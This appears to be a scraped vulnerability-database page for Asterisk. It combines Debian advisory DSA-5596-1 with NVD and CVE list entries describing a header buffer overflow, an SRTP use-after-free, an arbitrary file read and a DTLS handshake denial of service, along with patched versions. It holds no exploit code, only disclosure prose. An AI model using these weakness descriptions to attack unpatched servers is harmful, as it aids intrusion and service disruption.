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VAR-202312-1059
Vulnerability from variot - Updated: 2024-08-14 14:30Asterisk is an open source private branch exchange and telephony toolkit. In Asterisk versions 18.20.0 and prior, 20.5.0 and prior, and 21.0.0; as well as ceritifed-asterisk 18.9-cert5 and prior, the 'update' functionality of the PJSIP_HEADER dialplan function can exceed the available buffer space for storing the new value of a header. By doing so this can overwrite memory or cause a crash. This is not externally exploitable, unless dialplan is explicitly written to update a header based on data from an outside source. If the 'update' functionality is not used the vulnerability does not occur. A patch is available at commit a1ca0268254374b515fa5992f01340f7717113fa. Digium of Asterisk Classic buffer overflow vulnerabilities exist in products from multiple vendors.Information is tampered with and service operation is interrupted (DoS) It may be in a state. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512
Debian Security Advisory DSA-5596-1 security@debian.org https://www.debian.org/security/ Markus Koschany January 04, 2024 https://www.debian.org/security/faq
Package : asterisk CVE ID : CVE-2023-37457 CVE-2023-38703 CVE-2023-49294 CVE-2023-49786 Debian Bug : 1059303 1059032 1059033
Multiple security vulnerabilities have been discovered in Asterisk, an Open Source Private Branch Exchange.
CVE-2023-38703
PJSIP is a free and open source multimedia communication library written in
C with high level API in C, C++, Java, C#, and Python languages. SRTP is a
higher level media transport which is stacked upon a lower level media
transport such as UDP and ICE. Currently a higher level transport is not
synchronized with its lower level transport that may introduce a
use-after-free issue. This vulnerability affects applications that have
SRTP capability (`PJMEDIA_HAS_SRTP` is set) and use underlying media
transport other than UDP. This vulnerability’s impact may range from
unexpected application termination to control flow hijack/memory
corruption.
CVE-2023-49294
It is possible to read any arbitrary file even when the `live_dangerously`
option is not enabled.
CVE-2023-49786
Asterisk is susceptible to a DoS due to a race condition in the hello handshake phase of the DTLS protocol when handling DTLS-SRTP for media setup. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack. Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable Asterisk servers for calls that rely on DTLS-SRTP.
For the oldstable distribution (bullseye), these problems have been fixed in version 1:16.28.0~dfsg-0+deb11u4.
We recommend that you upgrade your asterisk packages.
For the detailed security status of asterisk please refer to its security tracker page at: https://security-tracker.debian.org/tracker/asterisk
Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE-----
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CVE-2023-49786 (GCVE-0-2023-49786)
Vulnerability from nvd – Published: 2023-12-14 19:47 – Updated: 2025-02-13 17:18- CWE-703 - Improper Check or Handling of Exceptional Conditions
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CVE-2023-49294 (GCVE-0-2023-49294)
Vulnerability from nvd – Published: 2023-12-14 19:40 – Updated: 2025-02-13 17:18- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
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CVE-2023-37457 (GCVE-0-2023-37457)
Vulnerability from nvd – Published: 2023-12-14 19:43 – Updated: 2025-02-13 17:01- CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
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CVE-2021-46837 (GCVE-0-2021-46837)
Vulnerability from nvd – Published: 2022-08-30 00:00 – Updated: 2024-08-04 05:17- n/a
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|---|---|
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CVE-2022-26651 (GCVE-0-2022-26651)
Vulnerability from nvd – Published: 2022-04-15 00:00 – Updated: 2024-08-03 05:11- n/a
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CVE-2022-26499 (GCVE-0-2022-26499)
Vulnerability from nvd – Published: 2022-04-15 00:00 – Updated: 2024-08-03 05:03- n/a
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CVE-2022-26498 (GCVE-0-2022-26498)
Vulnerability from nvd – Published: 2022-04-15 00:00 – Updated: 2024-08-03 05:03- n/a
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CVE-2021-32558 (GCVE-0-2021-32558)
Vulnerability from nvd – Published: 2021-07-27 05:19 – Updated: 2024-08-03 23:25- n/a
| URL | Tags |
|---|---|
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| http://packetstormsecurity.com/files/163639/Aster… | x_refsource_MISC |
| https://downloads.asterisk.org/pub/security/AST-2… | x_refsource_MISC |
| https://issues.asterisk.org/jira/browse/ASTERISK-29392 | x_refsource_MISC |
| https://lists.debian.org/debian-lts-announce/2021… | mailing-listx_refsource_MLIST |
| https://www.debian.org/security/2021/dsa-4999 | vendor-advisoryx_refsource_DEBIAN |
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CVE-2023-49786 (GCVE-0-2023-49786)
Vulnerability from cvelistv5 – Published: 2023-12-14 19:47 – Updated: 2025-02-13 17:18- CWE-703 - Improper Check or Handling of Exceptional Conditions
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CVE-2023-37457 (GCVE-0-2023-37457)
Vulnerability from cvelistv5 – Published: 2023-12-14 19:43 – Updated: 2025-02-13 17:01- CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
| URL | Tags |
|---|---|
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| https://lists.debian.org/debian-lts-announce/2023… |
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CVE-2023-49294 (GCVE-0-2023-49294)
Vulnerability from cvelistv5 – Published: 2023-12-14 19:40 – Updated: 2025-02-13 17:18- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
| URL | Tags |
|---|---|
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| https://lists.debian.org/debian-lts-announce/2023… |
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CVE-2021-46837 (GCVE-0-2021-46837)
Vulnerability from cvelistv5 – Published: 2022-08-30 00:00 – Updated: 2024-08-04 05:17- n/a
| URL | Tags |
|---|---|
| https://downloads.asterisk.org/pub/security/AST-2… | |
| https://lists.debian.org/debian-lts-announce/2022… | mailing-list |
| https://www.debian.org/security/2022/dsa-5285 | vendor-advisory |
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CVE-2022-26499 (GCVE-0-2022-26499)
Vulnerability from cvelistv5 – Published: 2022-04-15 00:00 – Updated: 2024-08-03 05:03- n/a
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CVE-2022-26498 (GCVE-0-2022-26498)
Vulnerability from cvelistv5 – Published: 2022-04-15 00:00 – Updated: 2024-08-03 05:03- n/a
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CVE-2022-26651 (GCVE-0-2022-26651)
Vulnerability from cvelistv5 – Published: 2022-04-15 00:00 – Updated: 2024-08-03 05:11- n/a
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